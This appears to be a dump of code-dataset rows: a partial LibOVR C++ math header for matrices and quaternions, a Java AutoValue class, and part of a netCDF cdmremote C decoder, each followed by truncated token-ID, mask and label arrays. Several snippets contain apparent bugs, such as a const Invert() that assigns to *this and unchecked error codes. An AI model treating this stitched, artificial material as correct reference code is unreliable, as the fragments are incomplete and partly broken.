*this = Transposed();
}
float SubDet (const int* rows, const int* cols) const
{
return M[rows[0]][cols[0]] * (M[rows[1]][cols[1]] * M[rows[2]][cols[2]] - M[rows[1]][cols[2]] * M[rows[2]][cols[1]])
- M[rows[0]][cols[1]] * (M[rows[1]][cols[0]] * M[rows[2]][cols[2]] - M[rows[1]][cols[2]] * M[rows[2]][cols[0]])
+ M[rows[0]][cols[2]] * (M[rows[1]][cols[0]] * M[rows[2]][cols[1]] - M[rows[1]][cols[1]] * M[rows[2]][cols[0]]);
}
float Cofactor(int I, int J) const
{
const int indices[4][3] = {{1,2,3},{0,2,3},{0,1,3},{0,1,2}};
return ((I+J)&1) ? -SubDet(indices[I],indices[J]) : SubDet(indices[I],indices[J]);
}
float Determinant() const
{
return M[0][0] * Cofactor(0,0) + M[0][1] * Cofactor(0,1) + M[0][2] * Cofactor(0,2) + M[0][3] * Cofactor(0,3);
}
Matrix4f Adjugated() const
{
return Matrix4f(Cofactor(0,0), Cofactor(1,0), Cofactor(2,0), Cofactor(3,0),
Cofactor(0,1), Cofactor(1,1), Cofactor(2,1), Cofactor(3,1),
Cofactor(0,2), Cofactor(1,2), Cofactor(2,2), Cofactor(3,2),
Cofactor(0,3), Cofactor(1,3), Cofactor(2,3), Cofactor(3,3));
}
Matrix4f Inverted() const
{
float det = Determinant();
assert(det != 0);
return Adjugated() * (1.0f/det);
}
void Invert()
{
*this = Inverted();
}
//AnnaSteve:
// a,b,c, are the YawPitchRoll angles to be returned
// rotation a around axis A1
// is followed by rotation b around axis A2
// is followed by rotation c around axis A3
// rotations are CCW or CW (D) in LH or RH coordinate system (S)
template <Axis A1, Axis A2, Axis A3, RotateDirection D, HandedSystem S>
void ToEulerAngles(float *a, float *b, float *c)
{
OVR_COMPILER_ASSERT((A1 != A2) && (A2 != A3) && (A1 != A3));
float psign = -1.0f;
if (((A1 + 1) % 3 == A2) && ((A2 + 1) % 3 == A3)) // Determine whether even permutation
psign = 1.0f;
float pm = psign*M[A1][A3];
if (pm < -1.0f + Math<float>::SingularityRadius)
{ // South pole singularity
*a = 0.0f;
*b = -S*D*Math<float>::PiOver2;
*c = S*D*atan2( psign*M[A2][A1], M[A2][A2] );
}
else if (pm > 1.0 - Math<float>::SingularityRadius)
{ // North pole singularity
*a = 0.0f;
*b = S*D*Math<float>::PiOver2;
*c = S*D*atan2( psign*M[A2][A1], M[A2][A2] );
}
else
{ // Normal case (nonsingular)
*a = S*D*atan2( -psign*M[A2][A3], M[A3][A3] );
*b = S*D*asin(pm);
*c = S*D*atan2( -psign*M[A1][A2], M[A1][A1] );
}
return;
}
//AnnaSteve:
// a,b,c, are the YawPitchRoll angles to be returned
// rotation a around axis A1
// is followed by rotation b around axis A2
// is followed by rotation c around axis A1
// rotations are CCW or CW (D) in LH or RH coordinate system (S)
template <Axis A1, Axis A2, RotateDirection D, HandedSystem S>
void ToEulerAnglesABA(float *a, float *b, float *c)
{
OVR_COMPILER_ASSERT(A1 != A2);
// Determine the axis that was not supplied
int m = 3 - A1 - A2;
float psign = -1.0f;
if ((A1 + 1) % 3 == A2) // Determine whether even permutation
psign = 1.0f;
float c2 = M[A1][A1];
if (c2 < -1.0 + Math<float>::SingularityRadius)
{ // South pole singularity
*a = 0.0f;
*b = S*D*Math<float>::Pi;
*c = S*D*atan2( -psign*M[A2][m],M[A2][A2]);
}
else if (c2 > 1.0 - Math<float>::SingularityRadius)
{ // North pole singularity
*a = 0.0f;
*b = 0.0f;
*c = S*D*atan2( -psign*M[A2][m],M[A2][A2]);
}
else
{ // Normal case (nonsingular)
*a = S*D*atan2( M[A2][A1],-psign*M[m][A1]);
*b = S*D*acos(c2);
*c = S*D*atan2( M[A1][A2],psign*M[A1][m]);
}
return;
}
// Creates a matrix that converts the vertices from one coordinate system
// to another.
//
static Matrix4f AxisConversion(const WorldAxes& to, const WorldAxes& from)
{
// Holds axis values from the 'to' structure
int toArray[3] = { to.XAxis, to.YAxis, to.ZAxis };
// The inverse of the toArray
int inv[4];
inv[0] = inv[abs(to.XAxis)] = 0;
inv[abs(to.YAxis)] = 1;
inv[abs(to.ZAxis)] = 2;
Matrix4f m(0, 0, 0,
0, 0, 0,
0, 0, 0);
// Only three values in the matrix need to be changed to 1 or -1.
m.M[inv[abs(from.XAxis)]][0] = float(from.XAxis/toArray[inv[abs(from.XAxis)]]);
m.M[inv[abs(from.YAxis)]][1] = float(from.YAxis/toArray[inv[abs(from.YAxis)]]);
m.M[inv[abs(from.ZAxis)]][2] = float(from.ZAxis/toArray[inv[abs(from.ZAxis)]]);
return m;
}
static Matrix4f Translation(const Vector3f& v)
{
Matrix4f t;
t.M[0][3] = v.x;
t.M[1][3] = v.y;
t.M[2][3] = v.z;
return t;
}
static Matrix4f Translation(float x, float y, float z = 0.0f)
{
Matrix4f t;
t.M[0][3] = x;
t.M[1][3] = y;
t.M[2][3] = z;
return t;
}
static Matrix4f Scaling(const Vector3f& v)
{
Matrix4f t;
t.M[0][0] = v.x;
t.M[1][1] = v.y;
t.M[2][2] = v.z;
return t;
}
static Matrix4f Scaling(float x, float y, float z)
{
Matrix4f t;
t.M[0][0] = x;
t.M[1][1] = y;
t.M[2][2] = z;
return t;
}
static Matrix4f Scaling(float s)
{
Matrix4f t;
t.M[0][0] = s;
t.M[1][1] = s;
t.M[2][2] = s;
return t;
}
//AnnaSteve : Just for quick testing. Not for final API. Need to remove case.
static Matrix4f RotationAxis(Axis A, float angle, RotateDirection d, HandedSystem s)
{
float sina = s * d *sin(angle);
float cosa = cos(angle);
switch(A)
{
case Axis_X:
return Matrix4f(1, 0, 0,
0, cosa, -sina,
0, sina, cosa);
case Axis_Y:
return Matrix4f(cosa, 0, sina,
0, 1, 0,
-sina, 0, cosa);
case Axis_Z:
return Matrix4f(cosa, -sina, 0,
sina, cosa, 0,
0, 0, 1);
}
}
// Creates a rotation matrix rotating around the X axis by 'angle' radians.
// Rotation direction is depends on the coordinate system:
// RHS (Oculus default): Positive angle values rotate Counter-clockwise (CCW),
// while looking in the negative axis direction. This is the
// same as looking down from positive axis values towards origin.
// LHS: Positive angle values rotate clock-wise (CW), while looking in the
// negative axis direction.
static Matrix4f RotationX(float angle)
{
float sina = sin(angle);
float cosa = cos(angle);
return Matrix4f(1, 0, 0,
0, cosa, -sina,
0, sina, cosa);
}
// Creates a rotation matrix rotating around the Y axis by 'angle' radians.
// Rotation direction is depends on the coordinate system:
// RHS (Oculus default): Positive angle values rotate Counter-clockwise (CCW),
// while looking in the negative axis direction. This is the
// same as looking down from positive axis values towards origin.
// LHS: Positive angle values rotate clock-wise (CW), while looking in the
// negative axis direction.
static Matrix4f RotationY(float angle)
{
float sina = sin(angle);
float cosa = cos(angle);
return Matrix4f(cosa, 0, sina,
0, 1, 0,
-sina, 0, cosa);
}
// Creates a rotation matrix rotating around the Z axis by 'angle' radians.
// Rotation direction is depends on the coordinate system:
// RHS (Oculus default): Positive angle values rotate Counter-clockwise (CCW),
// while looking in the negative axis direction. This is the
// same as looking down from positive axis values towards origin.
// LHS: Positive angle values rotate clock-wise (CW), while looking in the
// negative axis direction.
static Matrix4f RotationZ(float angle)
{
float sina = sin(angle);
float cosa = cos(angle);
return Matrix4f(cosa, -sina, 0,
sina, cosa, 0,
0, 0, 1);
}
// LookAtRH creates a View transformation matrix for right-handed coordinate system.
// The resulting matrix points camera from 'eye' towards 'at' direction, with 'up'
// specifying the up vector. The resulting matrix should be used with PerspectiveRH
// projection.
static Matrix4f LookAtRH(const Vector3f& eye, const Vector3f& at, const Vector3f& up);
// LookAtLH creates a View transformation matrix for left-handed coordinate system.
// The resulting matrix points camera from 'eye' towards 'at' direction, with 'up'
// specifying the up vector.
static Matrix4f LookAtLH(const Vector3f& eye, const Vector3f& at, const Vector3f& up);
// PerspectiveRH creates a right-handed perspective projection matrix that can be
// used with the Oculus sample renderer.
// yfov - Specifies vertical field of view in radians.
// aspect - Screen aspect ration, which is usually width/height for square pixels.
// Note that xfov = yfov * aspect.
// znear - Absolute value of near Z clipping clipping range.
// zfar - Absolute value of far Z clipping clipping range (larger then near).
// Even though RHS usually looks in the direction of negative Z, positive values
// are expected for znear and zfar.
static Matrix4f PerspectiveRH(float yfov, float aspect, float znear, float zfar);
// PerspectiveRH creates a left-handed perspective projection matrix that can be
// used with the Oculus sample renderer.
// yfov - Specifies vertical field of view in radians.
// aspect - Screen aspect ration, which is usually width/height for square pixels.
// Note that xfov = yfov * aspect.
// znear - Absolute value of near Z clipping clipping range.
// zfar - Absolute value of far Z clipping clipping range (larger then near).
static Matrix4f PerspectiveLH(float yfov, float aspect, float znear, float zfar);
static Matrix4f Ortho2D(float w, float h);
};
//-------------------------------------------------------------------------------------
// ***** Quat
// Quatf represents a quaternion class used for rotations.
//
// Quaternion multiplications are done in right-to-left order, to match the
// behavior of matrices.
template<class T>
class Quat
{
public:
// w + Xi + Yj + Zk
T x, y, z, w;
Quat() : x(0), y(0), z(0), w(1) {}
Quat(T x_, T y_, T z_, T w_) : x(x_), y(y_), z(z_), w(w_) {}
// Constructs rotation quaternion around the axis.
Quat(const Vector3<T>& axis, T angle)
{
Vector3<T> unitAxis = axis.Normalized();
T sinHalfAngle = sin(angle * T(0.5));
w = cos(angle * T(0.5));
x = unitAxis.x * sinHalfAngle;
y = unitAxis.y * sinHalfAngle;
z = unitAxis.z * sinHalfAngle;
}
//AnnaSteve:
void AxisAngle(Axis A, T angle, RotateDirection d, HandedSystem s)
{
T sinHalfAngle = s * d *sin(angle * (T)0.5);
T v[3];
v[0] = v[1] = v[2] = (T)0;
v[A] = sinHalfAngle;
//return Quat(v[0], v[1], v[2], cos(angle * (T)0.5));
w = cos(angle * (T)0.5);
x = v[0];
y = v[1];
z = v[2];
}
void GetAxisAngle(Vector3<T>* axis, T* angle) const
{
if (LengthSq() > Math<T>::Tolerance * Math<T>::Tolerance)
{
*axis = Vector3<T>(x, y, z).Normalized();
*angle = 2 * acos(w);
}
else
{
*axis = Vector3<T>(1, 0, 0);
*angle= 0;
}
}
bool operator== (const Quat& b) const { return x == b.x && y == b.y && z == b.z && w == b.w; }
bool operator!= (const Quat& b) const { return x != b.x || y != b.y || z != b.z || w != b.w; }
Quat operator+ (const Quat& b) const { return Quat(x + b.x, y + b.y, z + b.z, w + b.w); }
Quat& operator+= (const Quat& b) { w += b.w; x += b.x; y += b.y; z += b.z; return *this; }
Quat operator- (const Quat& b) const { return Quat(x - b.x, y - b.y, z - b.z, w - b.w); }
Quat& operator-= (const Quat& b) { w -= b.w; x -= b.x; y -= b.y; z -= b.z; return *this; }
Quat operator* (T s) const { return Quat(x * s, y * s, z * s, w * s); }
Quat& operator*= (T s) { w *= s; x *= s; y *= s; z *= s; return *this; }
Quat operator/ (T s) const { T rcp = T(1)/s; return Quat(x * rcp, y * rcp, z * rcp, w *rcp); }
Quat& operator/= (T s) { T rcp = T(1)/s; w *= rcp; x *= rcp; y *= rcp; z *= rcp; return *this; }
// Get Imaginary part vector
Vector3<T> Imag() const { return Vector3<T>(x,y,z); }
// Get quaternion length.
T Length() const { return sqrt(x * x + y * y + z * z + w * w); }
// Get quaternion length squared.
T LengthSq() const { return (x * x + y * y + z * z + w * w); }
// Simple Eulidean distance in R^4 (not SLERP distance, but at least respects Haar measure)
T Distance(const Quat& q) const
{
T d1 = (*this - q).Length();
T d2 = (*this + q).Length(); // Antipoldal point check
return (d1 < d2) ? d1 : d2;
}
T DistanceSq(const Quat& q) const
{
T d1 = (*this - q).LengthSq();
T d2 = (*this + q).LengthSq(); // Antipoldal point check
return (d1 < d2) ? d1 : d2;
}
// Normalize
bool IsNormalized() const { return fabs(LengthSq() - 1) < Math<T>::Tolerance; }
void Normalize() { *this /= Length(); }
Quat Normalized() const { return *this / Length(); }
// Returns conjugate of the quaternion. Produces inverse rotation if quaternion is normalized.
Quat Conj() const { return Quat(-x, -y, -z, w); }
// AnnaSteve fixed: order of quaternion multiplication
// Quaternion multiplication. Combines quaternion rotations, performing the one on the
// right hand side first.
Quat operator* (const Quat& b) const { return Quat(w * b.x + x * b.w + y * b.z - z * b.y,
w * b.y - x * b.z + y * b.w + z * b.x,
w * b.z + x * b.y - y * b.x + z * b.w,
w * b.w - x * b.x - y * b.y - z * b.z); }
//
// this^p normalized; same as rotating by this p times.
Quat PowNormalized(T p) const
{
Vector3<T> v;
T a;
GetAxisAngle(&v, &a);
return Quat(v, a * p);
}
// Rotate transforms vector in a manner that matches Matrix rotations (counter-clockwise,
// assuming negative direction of the axis). Standard formula: q(t) * V * q(t)^-1.
Vector3<T> Rotate(const Vector3<T>& v) const
{
return ((*this * Quat<T>(v.x, v.y, v.z, 0)) * Inverted()).Imag();
}
// Inversed quaternion rotates in the opposite direction.
Quat Inverted() const
{
return Quat(-x, -y, -z, w);
}
// Sets this quaternion to the one rotates in the opposite direction.
void Invert() const
{
*this = Quat(-x, -y, -z, w);
}
// Converting quaternion to matrix.
operator Matrix4f() const
{
T ww = w*w;
T xx = x*x;
T yy = y*y;
T zz = z*z;
return Matrix4f(float(ww + xx - yy - zz), float(T(2) * (x*y - w*z)), float(T(2) * (x*z + w*y)),
float(T(2) * (x*y + w*z)), float(ww - xx + yy - zz), float(T(2) * (y*z - w*x)),
float(T(2) * (x*z - w*y)), float(T(2) * (y*z + w*x)), float(ww - xx - yy + zz) );
}
// GetEulerAngles extracts Euler angles from the quaternion, in the specified order of
// axis rotations and the specified coordinate system. Right-handed coordinate system
// is the default, with CCW rotations while looking in the negative axis direction.
// Here a,b,c, are the Yaw/Pitch/Roll angles to be returned.
// rotation a around axis A1
// is followed by rotation b around axis A2
// is followed by rotation c around axis A3
// rotations are CCW or CW (D) in LH or RH coordinate system (S)
template <Axis A1, Axis A2, Axis A3, RotateDirection D, HandedSystem S>
void GetEulerAngles(T *a, T *b, T *c)
{
OVR_COMPILER_ASSERT((A1 != A2) && (A2 != A3) && (A1 != A3));
T Q[3] = { x, y, z }; //Quaternion components x,y,z
T ww = w*w;
T Q11 = Q[A1]*Q[A1];
T Q22 = Q[A2]*Q[A2];
T Q33 = Q[A3]*Q[A3];
T psign = T(-1.0);
// Determine whether even permutation
if (((A1 + 1) % 3 == A2) && ((A2 + 1) % 3 == A3))
psign = T(1.0);
T s2 = psign * T(2.0) * (psign*w*Q[A2] + Q[A1]*Q[A3]);
if (s2 < (T)-1.0 + Math<T>::SingularityRadius)
{ // South pole singularity
*a = T(0.0);
*b = -S*D*Math<T>::PiOver2;
*c = S*D*atan2((T)2.0*(psign*Q[A1]*Q[A2] + w*Q[A3]),
ww + Q22 - Q11 - Q33 );
}
else if (s2 > (T)1.0 - Math<T>::SingularityRadius)
{ // North pole singularity
*a = (T)0.0;
*b = S*D*Math<T>::PiOver2;
*c = S*D*atan2((T)2.0*(psign*Q[A1]*Q[A2] + w*Q[A3]),
ww + Q22 - Q11 - Q33);
}
else
{
*a = -S*D*atan2((T)-2.0*(w*Q[A1] - psign*Q[A2]*Q[A3]),
ww + Q33 - Q11 - Q22);
*b = S*D*asin(s2);
*c = S*D*atan2((T)2.0*(w*Q[A3] - psign*Q[A1]*Q[A2]),
ww + Q11 - Q22 - Q33);
}
return;
}
template <Axis A1, Axis A2, Axis A3, RotateDirection D>
void GetEulerAngles(T *a, T *b, T *c)
{ GetEulerAngles<A1, A2, A3, D, Handed_R>(a, b, c); }
template <Axis A1, Axis A2, Axis A3>
void GetEulerAngles(T *a, T *b, T *c)
{ GetEulerAngles<A1, A2, A3, Rotate_CCW, Handed_R>(a, b, c); }
// GetEulerAnglesABA extracts Euler angles from the quaternion, in the specified order of
// axis rotations and the specified coordinate system. Right-handed coordinate system
// is the default, with CCW rotations while looking in the negative axis direction.
// Here a,b,c, are the Yaw/Pitch/Roll angles to be returned.
// rotation a around axis A1
// is followed by rotation b around axis A2
// is followed by rotation c around axis A1
// Rotations are CCW or CW (D) in LH or RH coordinate system (S)
template <Axis A1, Axis A2, RotateDirection D, HandedSystem S>
void GetEulerAnglesABA(T *a, T *b, T *c)
{
OVR_COMPILER_ASSERT(A1 != A2);
T Q[3] = {x, y, z}; // Quaternion components
// Determine the missing axis that was not supplied
int m = 3 - A1 - A2;
T ww = w*w;
T Q11 = Q[A1]*Q[A1];
T Q22 = Q[A2]*Q[A2];
T Qmm = Q[m]*Q[m];
T psign = T(-1.0);
if ((A1 + 1) % 3 == A2) // Determine whether even permutation
{
psign = (T)1.0;
}
T c2 = ww + Q11 - Q22 - Qmm;
if (c2 < (T)-1.0 + Math<T>::SingularityRadius)
{ // South pole singularity
*a = (T)0.0;
*b = S*D*Math<T>::Pi;
*c = S*D*atan2( (T)2.0*(w*Q[A1] - psign*Q[A2]*Q[m]),
ww + Q22 - Q11 - Qmm);
}
else if (c2 > (T)1.0 - Math<T>::SingularityRadius)
{ // North pole singularity
*a = (T)0.0;
*b = (T)0.0;
*c = S*D*atan2( (T)2.0*(w*Q[A1] - psign*Q[A2]*Q[m]),
ww + Q22 - Q11 - Qmm);
}
else
{
*a = S*D*atan2( psign*w*Q[m] + Q[A1]*Q[A2],
w*Q[A2] -psign*Q[A1]*Q[m]);
*b = S*D*acos(c2);
*c = S*D*atan2( -psign*w*Q[m] + Q[A1]*Q[A2],
w*Q[A2] + psign*Q[A1]*Q[m]);
}
return;
}
};
typedef Quat<float> Quatf;
typedef Quat<double> Quatd;
//-------------------------------------------------------------------------------------
// ***** Plane
// Consists of a normal vector and distance from the origin where the plane is located.
template<class T>
class Plane : public RefCountBase<Plane<T> >
{
public:
Vector3<T> N;
T D;
Plane() : D(0) {}
// Normals must already be normalized
Plane(const Vector3<T>& n, T d) : N(n), D(d) {}
Plane(T x, T y, T z, T d) : N(x,y,z), D(d) {}
// construct from a point on the plane and the normal
Plane(const Vector3<T>& p, const Vector3<T>& n) : N(n), D(-(p * n)) {}
// Find the point to plane distance. The sign indicates what side of the plane the point is on (0 = point on plane).
T TestSide(const Vector3<T>& p) const
{
return (N * p) + D;
}
Plane<T> Flipped() const
{
return Plane(-N, -D);
}
void Flip()
{
N = -N;
D = -D;
}
bool operator==(const Plane<T>& rhs) const
{
return (this->D == rhs.D && this->N == rhs.N);
}
};
typedef Plane<float> Planef;
}
#endif
| StellaArtois/JRift | JRiftLibrary/LibOVR/Src/Kernel/OVR_Math.h | C | mit | 39,173 | [
30522,
1013,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
100... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/* Copyright 2016 Google Inc
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.api.codegen.viewmodel;
import com.google.auto.value.AutoValue;
@AutoValue
public abstract class DynamicLangDefaultableParamView {
public abstract String name();
public abstract String defaultValue();
public static Builder newBuilder() {
return new AutoValue_DynamicLangDefaultableParamView.Builder();
}
@AutoValue.Builder
public static abstract class Builder {
public abstract Builder name(String name);
public abstract Builder defaultValue(String value);
public abstract DynamicLangDefaultableParamView build();
}
}
| geigerj/toolkit | src/main/java/com/google/api/codegen/viewmodel/DynamicLangDefaultableParamView.java | Java | apache-2.0 | 1,165 | [
30522,
1013,
1008,
9385,
2355,
8224,
4297,
1008,
1008,
7000,
2104,
1996,
15895,
6105,
1010,
2544,
1016,
1012,
1014,
1006,
1996,
1000,
6105,
1000,
1007,
1025,
1008,
2017,
2089,
2025,
2224,
2023,
5371,
3272,
1999,
12646,
2007,
1996,
6105,
1... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*********************************************************************
* Copyright 2010, UCAR/Unidata
* See netcdf/COPYRIGHT file for copying and redistribution conditions.
* $Id$
* $Header$
*********************************************************************/
#include "config.h"
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
#include "nclist.h"
#include "ncbytes.h"
#include "nclog.h"
#include "netcdf.h"
#include "ast.h"
#include "crdebug.h"
#include "nccrnode.h"
#include "ncStreamx.h"
/*Forward*/
static int nccr_walk_Group(Group*, Group*, NClist*);
static int nccr_walk_Dimension(Group*, Dimension*, NClist*);
static int nccr_walk_Variable(Group*, Variable*, NClist*);
static int nccr_walk_Structure(Group*, Structure*, NClist*);
static int nccr_walk_Attribute(Group*, Attribute*, NClist*);
static int nccr_walk_EnumTypedef(Group*, EnumTypedef*, NClist*);
static int nccr_walk_EnumType(Group*, EnumType*, NClist*);
static void annotate(Group*, CRnode*, Sort, NClist*);
static void computepathname(CRnode* leaf);
static char* getname(CRnode* node);
static int skiptoheader(bytes_t* packet, size_t* offsetp);
/**************************************************/
/* Define cdmremote magic numbers */
#define MAGIC_START "\x43\x44\x46\x53"
#define MAGIC_END "\xed\xed\xde\xde"
#define MAGIC_HEADER "\xad\xec\xce\xda"
#define MAGIC_DATA "\xab\xec\xce\xba"
#define MAGIC_ERR "\xab\xad\xba\xda"
int
nccr_cvtasterr(ast_err err)
{
switch (err) {
case AST_NOERR: return NC_NOERR;
case AST_EOF: return NC_EINVAL;
case AST_ENOMEM: return NC_ENOMEM;
case AST_EFAIL: return NC_EINVAL /*generic*/;
case AST_EIO: return NC_EIO;
case AST_ECURL: return NC_ECURL;
default: break;
}
return NC_EINVAL;
}
int
nccr_decodeheader(bytes_t* packet, Header** hdrp)
{
int ncstat = NC_NOERR;
ast_err status = AST_NOERR;
ast_runtime* rt = NULL;
Header* protohdr = NULL;
size_t offset;
/* Skip to the beginning of header */
ncstat = skiptoheader(packet,&offset);
if(ncstat != NC_NOERR) {THROWCHK(ncstat); goto done;}
/* Now decode the buffer */
status = ast_byteio_new(AST_READ,packet->bytes+offset,packet->nbytes-offset,&rt);
if(status != AST_NOERR) goto done;
status = Header_read(rt,&protohdr);
if(status != AST_NOERR) goto done;
status = ast_reclaim(rt);
if(status != AST_NOERR) goto done;
if(hdrp) *hdrp = protohdr;
done:
if(status) ncstat = nccr_cvtasterr(status);
return ncstat;
}
/* Walk the Header tree to insert uid and sort capture all nodes */
static void
annotate(Group* parent, CRnode* node, Sort sort, NClist* nodes)
{
if(nclistcontains(nodes,(ncelem)node)) return;
memset((void*)node,0,sizeof(CRnode));
node->uid = nclistlength(nodes);
node->sort = sort;
node->group = parent;
nclistpush(nodes,(ncelem)node);
if(parent == NULL && node->sort == _Group)
node->flags.isroot = 1;
}
int
nccr_walk_Header(Header* hdr, NClist* nodes)
{
int ncstat = NC_NOERR;
annotate(NULL,(CRnode*)hdr,_Header,nodes);
nccr_walk_Group(NULL,hdr->root,nodes);
}
static int
nccr_walk_Group(Group* parent, Group* node, NClist* nodes)
{
int ncstat = NC_NOERR;
int i;
annotate(parent,(CRnode*)node,_Group,nodes);
for(i=0;i<node->dims.count;i++) {
ncstat = nccr_walk_Dimension(node,node->dims.values[i],nodes);
if(ncstat != NC_NOERR) {THROWCHK(ncstat); goto done;}
node->dims.values[i]->node.flags.isdecl = 1;
}
for(i=0;i<node->vars.count;i++) {
nccr_walk_Variable(node,node->vars.values[i],nodes);
if(ncstat != NC_NOERR) {THROWCHK(ncstat); goto done;}
}
for(i=0;i<node->structs.count;i++) {
nccr_walk_Structure(node,node->structs.values[i],nodes);
if(ncstat != NC_NOERR) {THROWCHK(ncstat); goto done;}
}
for(i=0;i<node->atts.count;i++) {
nccr_walk_Attribute(node,node->atts.values[i],nodes);
if(ncstat != NC_NOERR) {THROWCHK(ncstat); goto done;}
}
for(i=0;i<node->groups.count;i++) {
nccr_walk_Group(node,node->groups.values[i],nodes);
if(ncstat != NC_NOERR) {THROWCHK(ncstat); goto done;}
}
for(i=0;i<node->enumTypes.count;i++) {
nccr_walk_EnumTypedef(node,node->enumTypes.values[i],nodes);
if(ncstat != NC_NOERR) {THROWCHK(ncstat); goto done;}
}
done:
return ncstat;
}
static int
nccr_walk_Dimension(Group* parent, Dimension* node, NClist* nodes)
{
int ncstat = NC_NOERR;
annotate(parent,(CRnode*)node,_Dimension,nodes);
return ncstat;
}
static int
nccr_walk_Variable(Group* parent, Variable* node, NClist* nodes)
{
int ncstat = NC_NOERR;
int i;
annotate(parent,(CRnode*)node,_Variable,nodes);
for(i=0;i<node->shape.count;i++) {
nccr_walk_Dimension(parent,node->shape.values[i],nodes);
if(ncstat != NC_NOERR) {THROWCHK(ncstat); goto done;}
}
for(i=0;i<node->atts.count;i++) {
nccr_walk_Attribute(parent,node->atts.values[i],nodes);
if(ncstat != NC_NOERR) {THROWCHK(ncstat); goto done;}
}
done:
return ncstat;
}
static int
nccr_walk_Structure(Group* parent, Structure* node, NClist* nodes)
{
int ncstat = NC_NOERR;
int i;
annotate(parent,(CRnode*)node,_Dimension,nodes);
for(i=0;i<node->shape.count;i++) {
nccr_walk_Dimension(parent,node->shape.values[i],nodes);
if(ncstat != NC_NOERR) {THROWCHK(ncstat); goto done;}
}
for(i=0;i<node->atts.count;i++) {
nccr_walk_Attribute(parent,node->atts.values[i],nodes);
if(ncstat != NC_NOERR) {THROWCHK(ncstat); goto done;}
}
for(i=0;i<node->vars.count;i++) {
nccr_walk_Variable(parent,node->vars.values[i],nodes);
if(ncstat != NC_NOERR) {THROWCHK(ncstat); goto done;}
}
for(i=0;i<node->structs.count;i++) {
nccr_walk_Structure(parent,node->structs.values[i],nodes);
if(ncstat != NC_NOERR) {THROWCHK(ncstat); goto done;}
}
done:
return ncstat;
}
static int
nccr_walk_Attribute(Group* parent, Attribute* node, NClist* nodes)
{
int ncstat = NC_NOERR;
annotate(parent,(CRnode*)node,_Attribute,nodes);
return ncstat;
}
static int
nccr_walk_EnumTypedef(Group* parent, EnumTypedef* node, NClist* nodes)
{
int ncstat = NC_NOERR;
int i;
annotate(parent,(CRnode*)node,_EnumTypedef,nodes);
for(i=0;i<node->map.count;i++) {
nccr_walk_EnumType(parent,node->map.values[i],nodes);
if(ncstat != NC_NOERR) {THROWCHK(ncstat); goto done;}
}
done:
return ncstat;
}
static int
nccr_walk_EnumType(Group* parent, EnumType* node, NClist* nodes)
{
int ncstat = NC_NOERR;
annotate(parent,(CRnode*)node,_EnumType,nodes);
return ncstat;
}
/**************************************************/
int
nccr_compute_pathnames(NClist* nodes)
{
int ncstat = NC_NOERR;
int i;
/* Compute the pathname for selected nodes */
for(i=0;i<nclistlength(nodes);i++) {
CRnode* node = (CRnode*)nclistget(nodes,i);
switch (node->sort) {
case _Dimension:
case _Variable:
case _Structure:
case _EnumType:
case _Group:
computepathname(node);
break;
default:
break; /* ignore */
}
}
return ncstat;
}
static void
computepathname(CRnode* leaf)
{
int i;
NCbytes* accum = NULL;
NClist* path = NULL;
CRnode* node;
/**
* This is a little tricky.
* In order to produce a pathname
* that matches what is send by the server,
* we need to not start the pathname with ".".
*/
leaf->pathname = NULL;
path = nclistnew();
for(node=leaf;;) {
if(node->flags.isroot) break;
nclistinsert(path,0,(ncelem)node);
node = (CRnode*)node->group;
}
accum = ncbytesnew();
ncbytesnull(accum);
for(i=0;i<nclistlength(path);i++) {
node = (CRnode*)nclistget(path,i);
char* name = getname(node);
if(name == NULL) goto done; /* node has no meaningful name */
if(i > 0) ncbytescat(accum,".");
ncbytescat(accum,name);
}
leaf->pathname = ncbytesextract(accum);
ncbytesfree(accum);
nclistfree(path);
done:
return;
}
static char*
getname(CRnode* node)
{
